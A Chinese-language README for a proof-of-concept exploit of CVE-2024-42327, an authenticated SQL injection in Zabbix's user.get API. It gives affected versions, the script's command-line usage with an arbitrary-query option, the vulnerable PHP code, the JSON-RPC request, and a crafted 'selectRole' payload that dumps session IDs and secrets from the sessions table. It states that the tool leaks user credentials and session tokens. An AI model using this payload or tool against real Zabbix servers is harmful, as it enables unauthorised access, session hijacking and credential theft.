针对CVE-2024-42327的POC,该漏洞为Zabbix中通过user.get API方法的认证后SQL注入。 此POC并非像我在其他地方看到的某些POC那样基于时间。
该漏洞存在于user.get API端点,可由具有API访问权限的非管理员用户利用,包括具有默认用户角色的帐户。
SQL注入缺陷存在于CUser类的addRelatedObjects函数中。该函数由CUser.get函数调用,而后者可供具有API访问权限的用户使用。
攻击者可通过操纵API调用来注入SQL命令。
成功利用该漏洞可能允许攻击者获得未经授权的访问和控制权。
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
此POC将从数据库中泄露用户凭证,以及泄露会话令牌以用于API身份验证。
支持运行自定义SQL查询(--query)。
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
查看 https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php 中addRelatedObjects函数的代码,可以轻松找到存在漏洞的SQL查询(第3046-3051行)
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
很明显,$options['selectRole']中包含的值被传递到了SQL查询中。
一个典型的用于触发此部分代码的JSON数据块如下所示:
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
我们可以精心构造"selectRole"的值以实现SQL注入
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
上述注入使SQL查询类似于以下内容:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)